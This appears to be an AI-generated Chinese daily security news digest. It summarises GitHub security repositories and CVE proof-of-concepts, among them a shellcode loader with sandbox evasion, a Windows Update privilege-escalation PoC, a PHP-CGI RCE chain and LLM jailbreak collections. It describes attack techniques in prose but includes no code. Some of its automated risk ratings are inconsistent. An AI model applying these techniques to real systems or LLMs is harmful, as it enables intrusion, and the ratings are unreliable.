AWS Provider模块改进了AssumeRole逻辑，处理了角色会话名称和外部ID的可选参数，防止权限假设错误导致的权限不足或拒绝

改动中加入了HTTPS触发函数的空值判断，避免因未校验参数导致的程序崩溃，提高稳定性和安全性

更新详细文档说明如何配置与使用GCP资产API，方便安全审计人员应用

依赖更新为次要版本更新，未涉及安全漏洞修复，主要提升稳定性与兼容性

🎯 受影响组件

• pkg/providers/gcp
• pkg/providers/aws
• pkg/providers/gcp/function.go

⚡ 价值评估

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本次更新新增并完善了云资产发现的安全相关机制，包括组织级资产发现支持和AWS权限角色问题修复，属于安全功能的实质性增强，对云环境安全审计和渗透测试有直接促进作用。

Intelligent-Log-Searching-and-Threat-Detection-using-AI - 结合AI的威胁检测与日志分析系统

📌 仓库信息

属性	详情
仓库名称	Intelligent-Log-Searching-and-Threat-Detection-using-AI
风险等级	`MEDIUM`
安全类型	`安全研究`

📊 代码统计

分析提交数: 2
变更文件数: 11

💡 分析概述

该仓库开发了集成人工智能的安全监测系统，使用AI进行威胁检测、日志自动分析和事件分类，核心功能涉及利用AI提升安全态势感知。

🔍 关键发现

序号	发现内容
1	集成AI进行实时威胁检测和日志分类
2	采用Suricata和ELK Stack实现安全数据收集与可视化
3	研究AI在安全事件自动化分析中的应用价值
4	与“AI Security”关键词高度相关，体现为安全研究和漏洞利用导向

🛠️ 技术细节

利用AI模型进行攻击行为识别和 log 搜索，提高检测效率

结合Suricata IDS和ELK进行安全数据分析，实现自动化威胁识别

设计了基于AI的安全事件分类与响应方案

🎯 受影响组件

• Suricata IDS
• ELK Stack（Elasticsearch, Logstash, Kibana）
• AI模型和搜索算法

⚡ 价值评估

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仓库核心在于结合AI技术进行安全威胁检测和日志分析，具有实质性的技术内容和创新点，符合安全研究和漏洞利用方向，相关性与搜索关键词紧密对应。

Awesome-Jailbreak-on-LLMs - 基于大规模语言模型（LLMs）防护与攻击方法集合

📌 仓库信息

属性	详情
仓库名称	Awesome-Jailbreak-on-LLMs
风险等级	`HIGH`
安全类型	`漏洞利用/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 5

💡 分析概述

该仓库收集了针对LLMs的各种攻击和防御技术，包括论文、代码和评估方法，最新更新增加了具有攻击和安全检测意义的论文和代码，如Emoji Attack、ExtendAttack和PandaGuard，涉及对模型安全性攻击、漏洞利用和安全评估，具有较强的安全研究价值。

🔍 关键发现

序号	发现内容
1	收集了针对LLMs的攻击和防御技术
2	新增Emoji Attack、ExtendAttack、PandaGuard等相关论文和代码
3	涉及模型攻击、漏洞利用、安全检测等安全相关内容
4	影响LLMs的安全性评估与防护策略

🛠️ 技术细节

包含多篇论文的链接、代码库和实验方法，研究对LLMs的攻击机制和安全性评估

具体实现如Emoji Attack增强攻击方式，ExtendAttack扩展推理服务器攻击，PandaGuard进行安全防护评估

通过代码分析了模型的安全漏洞和攻击手段，有助于理解模型脆弱性

安全影响在于揭示LLMs的潜在安全风险与防护措施，为安全防御提供技术基础

🎯 受影响组件

• 大规模语言模型（LLMs）
• 模型推理服务器
• 模型安全机制

⚡ 价值评估

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该仓库重点收集了与LLMs安全相关的最新攻击技术和防御策略，包含具实际攻击价值的论文和代码，能够帮助研究人员分析模型漏洞、提升模型安全性，具有显著的安全研究价值。

toolhive-studio - MCP服务器管理及AI代理连接工具

📌 仓库信息

属性	详情
仓库名称	toolhive-studio
风险等级	`MEDIUM`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 2
变更文件数: 2

💡 分析概述

该仓库主要功能是安装、管理和运行MCP服务器，并连接AI代理。最新更新引入了网络隔离配置选项，增强了权限配置的安全控制，提升了安全防护能力。

🔍 关键发现

序号	发现内容
1	MCP服务器的安装与管理工具
2	新增网络隔离开关功能
3	基于权限配置文件进行网络访问限制
4	提升了服务器运行时的安全隔离与权限控制

🛠️ 技术细节

在API的权限配置中新增了network_isolation布尔字段，用于开启网络隔离功能

该功能结合权限配置文件，能够限制运行中的工作负载的网络通信

此更新有助于防止未经授权的网络访问，降低攻击面，提高整体安全性

🎯 受影响组件

• MCP服务器管理系统
• 权限配置及网络隔离模块

⚡ 价值评估

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本次更新增加了网络隔离功能，属于重要安全防护提升，增强了服务端对运行环境的安全控制，有利于防止潜在的网络攻击，具备较高安全价值。

courtlistener-mcp - 安全强化的CourtListener MCP服务器

📌 仓库信息

属性	详情
仓库名称	courtlistener-mcp
风险等级	`HIGH`
安全类型	`安全修复/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 3
变更文件数: 18

💡 分析概述

此次更新重点在于安全机制的完善，包括输入验证、日志敏感信息屏蔽、速率限制以及安全测试指南和工具配置，增强了系统的安全防护能力。

🔍 关键发现

序号	发现内容
1	增强安全防护措施，包括输入验证、敏感信息屏蔽、速率限制
2	新增安全测试指南及测试环境配置文件
3	集成安全扫描和验证脚本，确保部署安全
4	提高系统的安全性和抗攻击能力

🛠️ 技术细节

引入Zod等验证库对API输入进行严格验证，避免注入和恶意请求

配置速率限制策略以防止DDoS攻击

在日志中自动屏蔽敏感信息避免信息泄露

添加多份安全配置和测试指南文件，推动安全最佳实践

🎯 受影响组件

• API输入处理模块
• 日志记录模块
• 请求速率控制模块
• 安全配置和测试脚本

⚡ 价值评估

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通过一系列安全增强措施和详细测试指南，显著提升了系统整体安全水平，有助于抵御常见攻击，符合安全研究中的漏洞防护和安全工具的价值标准。

ZigStrike - 基于Zig的多注入技术Shellcode加载器

📌 仓库信息

属性	详情
仓库名称	ZigStrike
风险等级	`HIGH`
安全类型	`安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

ZigStrike是一个使用Zig语言开发的强大Shellcode加载工具，支持多种代码注入技术并带有抗沙箱检测机制。本次更新丰富了README文档，详细介绍了其多样化注入技术、抗沙箱检测方案及自定义有效载荷构建器，强化了其针对安全防护绕过的实用价值。

🔍 关键发现

序号	发现内容
1	支持本地线程、本地映射、远程映射、远程线程劫持等多种注入技术
2	集成反沙箱检测功能，如TPM检测、域加入检测和运行时保护
3	新增自定义Payload构建器，方便用户通过网页交互构建有效载荷
4	提升绕过安全解决方案的能力，提高渗透测试和红队工具实用性

🛠️ 技术细节

使用Zig语言的编译时能力实现高效Shellcode分配和注入

多种注入技术涵盖不同攻击面，增强隐蔽性和成功率

反沙箱检测通过环境信息判断提升持久性和逃避检测能力

结合自定义payload生成机制，适配多种攻击场景和输出格式

🎯 受影响组件

• Shellcode注入模块
• 反沙箱检测模块
• Payload构建器及Web交互组件

⚡ 价值评估

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该更新加强了工具核心的安全绕过和注入技术，提升了渗透测试工具的攻击能力和灵活性，且包含多种实用安全技术，符合网络安全与渗透测试工具的价值标准。

CVE-2025-48799 - Windows Update提权漏洞 PoC

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-48799
风险等级	`HIGH`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 12:09:25

📦 相关仓库

CVE-2025-48799

💡 分析概述

该仓库提供了针对CVE-2025-48799漏洞的PoC。该漏洞存在于Windows Update服务中，是一个提权漏洞，影响Windows 10和11。PoC利用了机器上存在多个硬盘时，用户可以通过存储感知功能修改新内容保存位置的特性。如果将新应用程序的安装位置更改为辅助驱动器，wuauserv服务在安装新应用程序期间会执行任意文件夹删除操作，且没有检查符号链接，这可能导致本地提权（LPE）。

代码分析：代码主要分为两个阶段：

Stage 1: 准备阶段，执行安装和卸载操作，在C:\Config.Msi目录下创建并移动文件，为后续的任意文件删除做准备。
Stage 2: 利用阶段，通过设置安全描述符和创建重定向，以及安装和回滚操作来触发漏洞，实现提权。

更新内容分析：最新提交主要更新了README.md文件，增加了对CVE-2025-48799漏洞的详细描述，说明了漏洞原理、PoC的使用方法和要求，以及相关的资源链接。另外，增加了代码示例和重要说明，强调PoC仅用于教育目的，并提供了报告问题的渠道和许可证信息。

🔍 关键发现

序号	发现内容
1	Windows Update服务中的提权漏洞
2	PoC利用了Storage Sense功能和 wuauserv 服务
3	PoC分两个阶段实现: 准备和利用
4	影响Windows 10和11，且至少需要两个硬盘

🛠️ 技术细节

漏洞原理：wuauserv 服务在处理多个硬盘时，未正确验证路径，导致可能删除任意文件夹。

利用方法：通过修改应用程序的安装位置到辅助硬盘，触发任意文件夹删除，实现提权。

修复方案：微软官方尚未提供修复方案，需要等待补丁发布。

🎯 受影响组件

• Windows Update Service (wuauserv)
• Windows 10
• Windows 11

⚡ 价值评估

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该PoC提供了明确的漏洞利用方法，以及可用的POC，该漏洞属于本地提权漏洞，影响Windows 10 和 Windows 11 系统，且POC具有实用价值。

CVE-2025-48384 - Dockerfile用于测试CVE-2025-48384漏洞

📌 漏洞信息

属性	详情
CVE编号	CVE-2025-48384
风险等级	`HIGH`
利用状态	`POC可用`
发布时间	2025-07-11 00:00:00
最后更新	2025-07-11 11:19:34

📦 相关仓库

vinieger-CVE-2025-48384-Dockerfile

💡 分析概述

该PoC Docker镜像利用包含漏洞的Git版本，克隆漏洞相关仓库并尝试利用Git协议中的漏洞，适用于在Kubernetes环境测试此漏洞，但缺乏详细的漏洞利用细节和自动化利用代码。

🔍 关键发现

序号	发现内容
1	利用包含特制Git版本的Docker镜像，通过克隆包含漏洞的仓库测试漏洞利用。
2	影响环境主要为使用特定Git版本的容器环境，尤其是在CI/CD或自动化部署中容易被利用。
3	需要特定环境配置，基础镜像为Alpine，操作依赖手动部署步骤，缺少自动化验证流程。

🛠️ 技术细节

漏洞原理：利用Git协议中的漏洞，允许未经授权的操作或信息泄露。

利用方法：构建包含受影响Git版本的Docker镜像，运行容器时克隆特定仓库以触发漏洞。

修复方案：升级至无此漏洞的Git版本，关闭不必要的协议功能，改用安全的协议或版本。

🎯 受影响组件

• Git 2.40.4 及以下版本（显示使用该版本进行漏洞利用测试）

💻 代码分析

分析 1:

代码中包含完整的Dockerfile，利用特定版本的Git进行漏洞利用，具有较高代码质量，易于复现。

分析 2:

测试用例为手动构建和运行容器，缺少自动化测试脚本，但提供了详细的部署指南。

分析 3:

代码结构清晰，注释详细，适合作为漏洞验证的基础框架。

⚡ 价值评估

展开查看详细评估

该PoC明确展示了CVE-2025-48384的利用方法，影响环境实际存在利用路径，提供具体测试步骤，有助于漏洞验证和防范措施制定。

PHP-CGI-INTERNAL-RCE - 基于CVE-2024-4577的PHP远程代码执行PoC

📌 仓库信息

属性	详情
仓库名称	PHP-CGI-INTERNAL-RCE
风险等级	`HIGH`
安全类型	`漏洞利用代码/POC`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库展示了利用Orange Tsai的CVE-2024-4577漏洞结合DNS重绑定技术，实现目标网络内部服务器的远程代码执行，致力于渗透测试和安全研究。

🔍 关键发现

序号	发现内容
1	利用CVE-2024-4577实现PHP-CGI环境的RCE
2	结合DNS rebinding绕过防御执行内部网络攻击
3	提供完整攻击代码和技术流程，满足渗透测试需要
4	与搜索关键词‘RCE’高度相关，旨在安全渗透和漏洞利用

🛠️ 技术细节

通过DNS重绑定配合浏览器攻击实现远程代码执行，利用漏洞的PHP-CGI环境缺陷

攻击链包括浏览器中实现的payload注入和DNS DNS rebinding 技术绕过隔离机制

🎯 受影响组件

• PHP-CGI运行环境
• 本地XAMPP、内网服务器

⚡ 价值评估

展开查看详细评估

仓库内容聚焦于远程代码执行（RCE）漏洞的0day利用技术，提供实战性PoC，符合渗透测试和漏洞利用的价值标准，核心目标明确，与‘RCE’关键词高度相关。

rce.js - RCE工具包与WebSocket控制框架

📌 仓库信息

属性	详情
仓库名称	rce.js
风险等级	`CRITICAL`
安全类型	`漏洞利用/安全修复/安全研究`
更新类型	`SECURITY_CRITICAL`

📊 代码统计

分析提交数: 5
变更文件数: 31

💡 分析概述

此次更新提升了RCE.js安全相关功能，新增了安全检测、漏洞利用示例，修复了安全漏洞，改进漏洞利用方式，增强了安全工具功能。

🔍 关键发现

序号	发现内容
1	新增安全检测和利用相关代码
2	增加安全工具和漏洞利用示例
3	修复已知安全漏洞
4	优化漏洞利用方法和安全防护措施

🛠️ 技术细节

代码引入安全检测与漏洞利用的模块和示例（如responseHandler.js中的漏洞检测逻辑、commandManager.js中的指令管理）

对原有安全漏洞进行修复（如改进认证、通信安全、权限管理）

加入安全工具支持，如快速检测、安全分析和漏洞利用接口

安全相关的事件和响应处理功能增强

🎯 受影响组件

• 响应处理模块（responseHandler.js）
• 命令管理模块（commandManager.js）
• WebSocket控制模块（socketManager.js）
• 漏洞利用和检测逻辑

⚡ 价值评估

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该仓库不仅包含漏洞利用代码，还增加了安全检测和修复功能，显示出较强的安全研究和漏洞利用价值，且修复了已知安全漏洞，符合安全技术价值标准。

baraddur - 基于Go的GitHub Actions安全扫描工具

📌 仓库信息

属性	详情
仓库名称	baraddur
风险等级	`HIGH`
安全类型	`漏洞利用、渗透测试、安全研究`

📊 代码统计

分析提交数: 3
变更文件数: 30

💡 分析概述

该仓库是一个以渗透测试和漏洞利用为核心的安全分析工具，能够扫描第三方GitHub Actions中的安全漏洞，提供漏洞检测和安全评估功能，包含实质性的技术内容。

🔍 关键发现

序号	发现内容
1	扫描第三方GitHub Actions中的安全问题
2	内置漏洞检测规则和风险评估模型
3	提供安全研究、漏洞利用和渗透测试相关功能
4	与搜索关键词“security tool”高度相关，旨在安全漏洞检测和风险评估

🛠️ 技术细节

利用Go语言开发，结合GitHub API进行仓库信息获取

内置规则检测硬编码密钥、不安全版本、命令注入等漏洞

分析供应链、发布者信誉、维护者活跃度等安全指标

实现多种扫描模式（工作流、单个Action）及输出格式（JSON、表格）

🎯 受影响组件

• GitHub Actions工作流文件
• 第三方Action仓库和代码
• 漏洞检测规则引擎
• 安全评分模型及风险评估机制

⚡ 价值评估

展开查看详细评估

该仓库核心功能为安全漏洞检测和风险评估，具有实质性的技术内容，符合渗透测试与漏洞利用的研究目的，与“security tool”搜索关键词高度匹配，提供技术创新和漏洞检测能力，符合中高风险安全工具标准。

JWTek - JWT漏洞检测和利用工具

📌 仓库信息

属性	详情
仓库名称	JWTek
风险等级	`HIGH`
安全类型	`漏洞利用/安全检测/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 11

💡 分析概述

该仓库是一个分析和利用JWT漏洞的命令行工具，支持检测弱算法、缺失声明、brute-force攻击、签名降级等安全漏洞，新增了JWT差异对比功能以帮助判断篡改。

🔍 关键发现

序号	发现内容
1	分析JWT安全配置、检测弱算法和签名降级
2	提供brute-force暴力破解HMAC密钥的方法
3	验证RS256签名有效性以检测篡改
4	集成漏洞利用、签名验证及防护措施

🛠️ 技术细节

通过解析JWT的头部和载荷，检测alg是否为none或弱算法，核查claims的有效性，和验证签名的正确性

实现暴力破解功能，尝试部门暴力猜测HMAC密钥，支持公共密钥验证RS256签名的完整性

新增对多个JWT的差异对比，帮助识别篡改或传输欺骗行为

利用batch分析和自动差异显示，提高漏洞检测效率

🎯 受影响组件

• JWT解析模块
• 签名验证模块
• 暴力破解模块
• 差异对比功能

⚡ 价值评估

展开查看详细评估

新增的JWT差异分析与强弱算法检测结合提供了丰富的安全检测手段，有助于发现和利用JWT配置中的安全漏洞，提升红队和安全团队的攻击防御能力。

mcp-for-security - 安全测试与渗透检测模型协调平台

📌 仓库信息

属性	详情
仓库名称	mcp-for-security
风险等级	`HIGH`
安全类型	`安全修复/安全工具集成/漏洞利用`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 10

💡 分析概述

该仓库集成了多款安全检测工具（如SQLMap、FFUF、NMAP、Masscan等）的模型协议服务器，便于AI工作流中的安全测试与渗透检测。此次更新新增了Cero工具，利用TLS证书进行子域名枚举，增强了安全检测能力，支持自动化子域名发现和基础设施分析。

🔍 关键发现

序号	发现内容
1	集成多款安全检测及渗透测试工具的Model Context Protocol服务器
2	引入Cero工具，基于TLS证书信息进行子域名枚举
3	增强自动化安全检测和基础设施分析能力
4	支持AI驱动的安全测试和情报收集流程

🛠️ 技术细节

通过Node.js和Go实现的多工具服务器，结合MCP协议用于自动化调用和整合

Cero利用TLS握手中的SAN字段自动提取域名，提升子域名信息收集效率，相关代码和配置文件已加入仓库

🎯 受影响组件

• 安全工具模型协议服务器
• 子域名枚举模块
• 自动化安全检测流程

⚡ 价值评估

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新增Cero子域枚举功能，直接提升安全检测的智能化水平和效率，符合安全工具增强和漏洞利用的标准，提供具体技术实现，具有较高利用价值。

AppLock - 隐私保护应用程序锁定工具

📌 仓库信息

属性	详情
仓库名称	AppLock
风险等级	`HIGH`
安全类型	`安全修复/安全功能增强`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 2
变更文件数: 1

💡 分析概述

该仓库为隐私保护应用，增强了应用锁定功能和安全性，新增检测锁定状态的优化，修复了可能的锁屏及卸载安全漏洞，提升了安全防护能力。

🔍 关键发现

序号	发现内容
1	提供应用锁定和隐私保护功能
2	引入了检测锁定状态的加速机制，改善锁屏体验
3	修复了卸载或屏幕锁定相关的安全漏洞
4	改善了系统启动时的安全措施，增强应用安全性

🛠️ 技术细节

利用Accessibility和UsageStats权限实现更快速的锁定检测，优化锁屏机制

增强了卸载时的安全反制措施，防止未授权卸载

通过系统权限确保应用在设备启动时自动激活，提升安全措施

🎯 受影响组件

• 应用锁定模块
• 锁屏检测机制
• 系统权限管理
• 卸载保护机制

⚡ 价值评估

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此次更新核心在于提升应用锁定的安全性和效率，增强系统级保护措施，修复潜在的安全漏洞，有明显的安全研发价值。

Mahakal-Framework - 集成多种渗透测试工具的安全框架

📌 仓库信息

属性	详情
仓库名称	Mahakal-Framework
风险等级	`MEDIUM`
安全类型	`安全研究`

📊 代码统计

分析提交数: 5
变更文件数: 5

💡 分析概述

该仓库是一个集成了渗透测试工具的安全工具套件，包含Nmap、SQLMap、Hashcat等，用于安全研究和漏洞利用。

🔍 关键发现

序号	发现内容
1	主要功能：集成多个渗透测试和漏洞利用工具，实现任务自动化
2	安全特性：利用成熟工具进行漏洞扫描、服务识别、密码破解
3	研究价值：提供全面的安全测试平台，方便安全分析和漏洞验证
4	相关性说明：符合“security tool”关键词，核心在于渗透测试和漏洞利用

🛠️ 技术细节

技术实现方案：通过bash脚本集成多个渗透测试工具，提供统一界面和操作流程

安全机制分析：依赖工具自身的安全特性，无特殊安全机制，强调工具功能集成

🎯 受影响组件

• 渗透测试工具链
• 安全测试环境

⚡ 价值评估

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仓库核心目标是提供一个多功能的渗透测试框架，包含实用的漏洞利用技术和安全研究工具，符合搜索关键词主要内容，技术内容丰富，能满足安全研究和漏洞利用的需求。

C2Explains-ChandanChaudhary - 基于Node.js的用户管理与权限验证工具

📌 仓库信息

属性	详情
仓库名称	C2Explains-ChandanChaudhary
风险等级	`MEDIUM`
安全类型	`安全修复/安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 2
变更文件数: 5

💡 分析概述

该仓库实现了用户登录注册、管理员认证功能，涉及JWT安全验证机制。此次更新主要添加了管理员权限验证中间件，并对登录、注册和后端路由做了安全性增强，优化了JWT的管理和验证流程。

🔍 关键发现

序号	发现内容
1	完善了JWT验证相关逻辑
2	引入adminAuth中间件进行管理员权限控制
3	增强了API接口的安全验证措施
4	影响主要在用户验证和权限管理模块

🛠️ 技术细节

新增了使用jwt验证管理员权限的中间件adminAuth，验证token的有效性和管理员身份

对登录注册逻辑中的JWT生成函数进行了修正，确保token生成正确

对后端路由进行权限控制，避免未授权访问敏感接口

🎯 受影响组件

• 用户验证模块
• 管理员权限控制模块
• 后端API路由

⚡ 价值评估

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更新增强了系统的安全验证机制，加入管理员验证逻辑，有助于防止未授权访问，符合安全漏洞修复和安全功能增强的标准。

AI-Code-Security-Scanner - 基于AI的代码漏洞检测工具

📌 仓库信息

属性	详情
仓库名称	AI-Code-Security-Scanner
风险等级	`HIGH`
安全类型	`安全修复/安全功能`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 3

💡 分析概述

本仓库为企业级代码漏洞扫描器，利用图神经网络和CodeBERT进行静态分析。最新更新引入了实时增量扫描功能，支持在用户输入时快速检测潜在漏洞，提高检测效率。

🔍 关键发现

序号	发现内容
1	利用深度学习模型进行代码安全漏洞检测
2	新增实时逐行扫描功能，提供快速反馈
3	实现代码的增量分析和差异比对
4	增强了用户交互中的安全检测响应能力

🛠️ 技术细节

引入异步任务管理实现快速实时扫描，采用WebSocket持续通信

通过缓存差异内容优化扫描效率，提升响应速度至300ms

结合代码差异检测与漏洞分析模型，实时提示潜在安全风险

🎯 受影响组件

• 实时扫描引擎
• WebSocket通信模块
• 代码差异检测机制

⚡ 价值评估

展开查看详细评估

引入的实时增量扫描功能显著提升了漏洞检测的时效性和交互体验，特别是在开发过程中对安全风险的快速发现具有重要价值，同时支持对深度学习模型和分析流程的优化，符合安全研究的价值导向。

ai-security-tester - AI模型安全检测与漏洞评估工具

📌 仓库信息

属性	详情
仓库名称	ai-security-tester
风险等级	`HIGH`
安全类型	`漏洞利用/安全研究/渗透测试`

📊 代码统计

分析提交数: 3
变更文件数: 14

💡 分析概述

该仓库提供完整的AI模型安全性测试平台，包括漏洞检测、对抗攻击、模型调用安全评估和漏洞利用相关功能，支持Web和CLI双界面，含详细攻击测试方案和多样化报告输出。

🔍 关键发现

序号	发现内容
1	提供系统性的AI模型安全漏洞检测与漏洞验证功能
2	涵盖对提示注入、对抗攻击、模型 Jailbreaking、数据泄露与偏见测试等核心安全攻击内容
3	利用快递、脚本化测试流程，便于快速批量验证和自动化集成
4	安全相关实质性技术内容，包含多种攻击验证方案和详细测试架构

🛠️ 技术细节

采用Python作为核心开发语言，集成Flask框架构建Web UI，结合命令行工具实现多场景测试

实现多模块测试策略，包括漏洞利用、对抗样本生成、模型行为分析等关键技术，提供标准化测试流程和报告生成机制

支持多模型接口（OpenAI、Anthropic、本地模型等），具备多场景攻击验证能力

实现安全测试代码具有较高的技术含量，实用性强，并提供详尽的技术文档和扩展接口

🎯 受影响组件

• 模型API调用接口
• 安全漏洞测试模块
• Web前端界面（Flask页面）
• 命令行测试工具
• 报告生成与输出系统

⚡ 价值评估

展开查看详细评估

该仓库符合搜索“AI Security”关键词的核心需求，专注于安全漏洞检测、攻击验证和技术方案丰富，具备较强的实质性技术内容和研究价值，特别是在红队渗透和漏洞利用研究方向，未满足的过滤条件。雖然没有标明已废弃或低质量，且包含详细技术实施方案，符合安全研究与渗透测试的核心价值标准。

StegoShield_AI - Gmail与WhatsApp附件安全扫描系统

📌 仓库信息

属性	详情
仓库名称	StegoShield_AI
风险等级	`MEDIUM`
安全类型	`安全研究`

📊 代码统计

分析提交数: 1
变更文件数: 1

💡 分析概述

该仓库实现了通过AI辅助的扫描、分析和监控邮件与通讯附件的功能，集成区块链日志，提升信息安全透明度。

🔍 关键发现

序号	发现内容
1	基于React和Node.js构建的全栈应用，支持附件扫描分析
2	集成AI技术用于内容检测（潜在误导性或恶意内容识别），具备一定的智能判断能力
3	包含实时威胁监控、区块链日志记录等安全特性
4	与“AI Security”关键词高度相关，功能面向安全研究与威胁检测

🛠️ 技术细节

采用OAuth2实现Gmail授权，集成whatsapp-web.js进行WhatsApp媒体处理，利用前后端技术实现附件安全检测与威胁分析

引入区块链日志保证操作的不可篡改性，增强审计能力

🎯 受影响组件

• 邮件附件处理模块
• WhatsApp媒体扫描模块
• 威胁分析与检测算法
• 区块链日志系统

⚡ 价值评估

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仓库具备实质性安全检测功能，集成AI技术进行内容分析，结合区块链实现安全审计，这些都符合安全研究与漏洞利用的需求，与“AI Security”搜索关键词高度相关，且技术内容丰富，不仅仅局限于基础工具或文档。没有涉及恶意IP更新或无关的自动化信息更新，可视为安全研究范畴的创新与实用项目。

SpiderWeb - 网络情报与侦察工具箱

📌 仓库信息

属性	详情
仓库名称	SpiderWeb
风险等级	`MEDIUM`
安全类型	`安全修复/安全研究`
更新类型	`SECURITY_IMPROVEMENT`

📊 代码统计

分析提交数: 5
变更文件数: 8

💡 分析概述

该项目为网络情报与侦察工具箱，新增了IP信誉、风险分析和质量检测接口，可用于安全侦察和情报收集。此次更新主要增加了IP信誉、风险等级检测和IP质量评估功能，涉及安全检测层面，能辅助识别潜在威胁或恶意IP，具有一定安全研究价值。

🔍 关键发现

序号	发现内容
1	集成IP信誉、风险检测、质量评估的网络情报工具
2	新增IP信誉、风险等级及质量检测API接口
3	支持IP信息的安全分析与判断
4	影响情报收集与威胁识别

🛠️ 技术细节

利用第三方API（如IPQualityScore）进行IP信誉与风险检测，编写了多个Express.js路由处理接口，支持POST请求获取IP详细信息。

API调用包含严格参数配置，整合多项IP安全指标（如欺诈评分、代理、VPN、Tor、恶意行为等），以实现对潜在威胁的检测和判断。

代码结构清晰，采用Node.js及Axios实现网络请求，便于扩展与集成。

安全影响方面：提供真实IP评估信息，有助于识别潜在攻击源或恶意节点，增强威胁情报能力。

🎯 受影响组件

• IP信誉检测模块
• 风险评估接口
• IP质量分析

⚡ 价值评估

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新增加的IP信誉与风险检测功能，直接提升了安全威胁识别能力，结合反欺诈和威胁分析工具，具有明显的安全研究和防护价值。同时涉及安全API调用及数据整合，超出普通项目改动。此次更新符合安全价值判断标准。

AI-ML-for-Networking - 基于AI的网络流量分析与安全检测工具

📌 仓库信息

属性	详情
仓库名称	AI-ML-for-Networking
风险等级	`MEDIUM`
安全类型	`安全研究/漏洞利用（异常检测模型）`

📊 代码统计

分析提交数: 1
变更文件数: 3

💡 分析概述

该仓库通过AI技术实现网络流量的监控、异常检测和应用分类，旨在提升网络安全检测效率，发布了数据处理、模型训练和分析的完整流程，有一定安全研究和红队利用价值。

🔍 关键发现

序号	发现内容
1	利用AI模型进行网络流量的异常检测与分类
2	实现AI驱动的网络安全分析与监测
3	提供详细的模型训练与数据预处理技术，具备安全研究价值
4	与搜索关键词‘AI Security’相关，专注于利用AI提升网络安全能力

🛠️ 技术细节

采用scikit-learn进行随机森林和隔离森林模型训练，包含参数调优和预处理流程

实现数据预处理包括特征编码与标准化，适应网络流量数据分析

具有一定的自动化分析能力，可辅助漏洞检测与安全监控

🎯 受影响组件

• 网络流量数据分析模块
• 安全检测与异常识别系统
• AI模型训练与优化流程

⚡ 价值评估

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该仓库具备核心的安全研究内容，通过AI模型实现网络异常检测，技术内容丰富，核心功能对应搜索关键词，体现较高的研究与应用价值。

免责声明

本文内容由 AI 自动生成，仅供参考和学习交流。文章中的观点和建议不代表作者立场，使用本文信息需自行承担风险和责任。

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安全资讯日报 2025-07-11

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